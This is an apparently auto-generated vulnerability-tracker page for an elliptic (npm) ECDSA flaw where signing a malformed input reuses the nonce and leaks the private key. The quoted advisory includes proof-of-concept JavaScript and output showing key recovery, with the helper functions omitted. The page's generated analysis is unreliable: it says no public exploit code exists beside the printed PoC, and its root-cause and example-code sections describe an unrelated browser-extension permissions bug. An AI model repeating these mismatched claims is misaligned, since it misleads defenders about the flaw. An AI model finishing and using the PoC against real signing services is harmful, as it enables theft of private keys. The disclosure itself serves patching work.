GHSA-vjh7-7g9h-fjfh: Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: elliptic (npm) 6.6.1.
Low priority for now. Upgrade to elliptic (npm) 6.6.1 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input Note that `elliptic` by design accepts hex strings as one of the possible input types ### Details In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107 `msg` is a BN instance after conversion, but `nonce` is an array, and different BN instances could generate equivalent arrays after conversion. Meaning that a same `nonce` could be generated for different messages used in signing process, leading to `k` reuse, leading to private key extraction from a pair of signatures Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still _should not_ leak the private key Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain ### PoC #### `k` reuse example ```js import elliptic from 'elliptic' const { ec: EC } = elliptic const privateKey = crypto.getRandomValues(new Uint8Array(32)) const curve = 'ed25519' // or any other curve, e.g. secp256k1 const ec = new EC(curve) const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}` const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s` console.log({ sig0, sig1, sig2 }) ``` #### Full attack This doesn't include code for generation/recovery on a purpose (bit it's rather trivial) ```js import elliptic from 'elliptic' const { ec: EC } = elliptic const privateKey = crypto.getRandomValues(new Uint8Array(32)) const curve = 'secp256k1' // or any other curve, e.g. ed25519 const ec = new EC(curve) // Any message, e.g. previously known signature const msg0 = crypto.getRandomValues(new Uint8Array(32)) const sig0 = ec.sign(msg0, privateKey) // Attack const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types const sig1 = ec.sign(msg1, privateKey) const something = extract(msg0, sig0, sig1, curve) console.log('Curve:', curve) console.log('Typeof:', typeof msg1) console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something) const rnd = crypto.getRandomValues(new Uint8Array(32)) const st = (x) => JSON.stringify(x) console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER())) console.log('Orig key:', Buffer.from(privateKey).toString('hex')) console.log('Restored:', something) ``` Output: ```console Curve: secp256k1 Typeof: string Keys equal? true Keys equivalent? true Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a ``` Similar for `ed25519`, but due to low `n`, the key might not match precisely but is nevertheless equivalent for signing: ```console Curve: ed25519 Typeof: string Keys equal? false Keys equivalent? true Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189 Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6 ``` `restored` is equal to `orig` mod `N`. ### Impact Full private key extraction when signing a single malicious message (that passes `JSON.stringify`/`JSON.parse`)
- Published
- Feb 12, 2025
- Updated
- Feb 12, 2025
- EPSS
- —
- CWE
- CWE-200
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
If any of these changes, we'll tell you in the daily email digest.
Is your version affected? Check itNoroxi analysis
What does it mean in your environment?
The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.
We use this product, ask for helpAffected systems
Is your version affected?
Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.
| Vendor | Product | CPE |
|---|---|---|
| npm | elliptic | pkg:npm/elliptic |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| npm | elliptic | before 6.6.1 | 6.6.1 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| npm:elliptic | 6.6.1 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
Weakness class (CWE)
CWE-200 · Exposure of Sensitive Information to an Unauthorized ActorCVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
osv
Root cause
The extension requests broader permissions than its function needs and sends the data it collects out for purposes beyond its stated function.
The bug in code
The whole CWE-200 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
{
"permissions": ["tabs", "<all_urls>"],
"background": { "service_worker": "analytics.js" }
}Fixed
{
"permissions": ["activeTab"],
"host_permissions": ["https://yildiz.example/*"]
}Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- ExcavationCAPEC-116likelihood: High · Medium
- Subverting Environment Variable ValuesCAPEC-13likelihood: High · Very High
- FootprintingCAPEC-169likelihood: High · Very Low
- Exploiting Trust in ClientCAPEC-22likelihood: High · High
- FingerprintingCAPEC-224likelihood: High · Very Low
- ICMP Echo Request PingCAPEC-285likelihood: Medium · Low
- TCP SYN ScanCAPEC-287Low
- Enumerate Mail Exchange (MX) RecordsCAPEC-290Low
ATT&CK techniques
- System Service DiscoveryT1007
- System Network Configuration DiscoveryT1016
- Remote System DiscoveryT1018
- System Owner/User DiscoveryT1033
- Masquerading: Match Legitimate Name or LocationT1036.005
- Network Service ScanningT1046
- System Network Connections DiscoveryT1049
- Process DiscoveryT1057
- Permission Groups DiscoveryT1069
- System Information DiscoveryT1082
- File and Directory DiscoveryT1083
- Account DiscoveryT1087
- Multi-Factor Authentication InterceptionT1111
- Peripheral Device DiscoveryT1120
- System Time DiscoveryT1124
- Access Token Manipulation:Token Impersonation/TheftT1134.001
Change log (2)
- Fix✗ → ✓
- CVSS9.5 → —
For records you follow, these changes also arrive as notifications. →
References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.